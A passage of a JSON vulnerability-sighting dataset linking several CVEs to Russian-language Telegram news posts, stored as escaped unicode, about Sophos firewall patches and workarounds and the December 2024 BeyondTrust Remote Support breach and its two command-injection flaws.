\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 User Portal. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c -\u00a0KBA-000010084.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Sophos \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2024-12728 \u0438 CVE-2024-12729, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-12728 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e SSH \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c HA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u0435\u043d \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 HA, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443.\n\n\u0414\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSH \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WAN \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Sophos Central \u0438\u043b\u0438 VPN.\n\n\u0414\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 CVE-2024-12729 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0432\u0435\u0431-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.", "creation_timestamp": "2024-12-23T15:40:05.000000Z"}, {"uuid": "103f0efe-8d0a-4139-a383-df5b653e3712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/true_secator/6563", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 Privileged Access Management \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 BeyondTrust \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0430\u0441\u044c \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0435\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c\u0438 \u0440\u043e\u0437\u043d\u0438\u0447\u043d\u043e\u0439 \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438 \u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c\u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u043c \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u043c.\n\n2 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430\u00a0\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b BeyondTrust \u0437\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0435\u0442\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Remote Support SaaS.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044e, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043b\u044e\u0447\u0443 API \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 SaaS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0438\u043c \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nBeyondTrust \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043e\u0437\u0432\u0430\u043b\u0430 \u043a\u043b\u044e\u0447 API, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e, \u0441\u043c\u043e\u0433\u043b\u0438 \u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442.\n\n\u041d\u043e \u0437\u0430\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 16 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u0434\u0440\u0443\u0433\u0443\u044e 18 \u0447\u0438\u0441\u043b\u0430.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2024-12356 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u0432\u043b\u0438\u044f\u044e\u0449\u0443\u044e \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Remote Support (RS) \u0438 Privileged Remote Access (PRA).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, CVE-2024-12686, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u044f\u0432\u043d\u043e \u043d\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c BeyondTrust \u0438\u043b\u0438 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435  \u0441\u0432\u043e\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0434\u043b\u044f \u043e\u0445\u0432\u0430\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u041d\u043e \u044d\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e \u043d\u0438\u043c \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u043d\u043e \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0410 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.", "creation_timestamp": "2024-12-20T12:20:05.000000Z"}, {"uuid": "6e94b354-4029-44d2-bb10-973ffd1afe36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/6563", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 Privileged Access Management \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 BeyondTrust \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0430\u0441\u044c \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0435\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c\u0438 \u0440\u043e\u0437\u043d\u0438\u0447\u043d\u043e\u0439 \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438 \u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c\u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u043c \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u043c.\n\n2 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430\u00a0\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b BeyondTrust \u0437\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0435\u0442\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Remote Support SaaS.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044e, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043b\u044e\u0447\u0443 API \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 SaaS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0438\u043c \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nBeyondTrust \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043e\u0437\u0432\u0430\u043b\u0430 \u043a\u043b\u044e\u0447 API, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 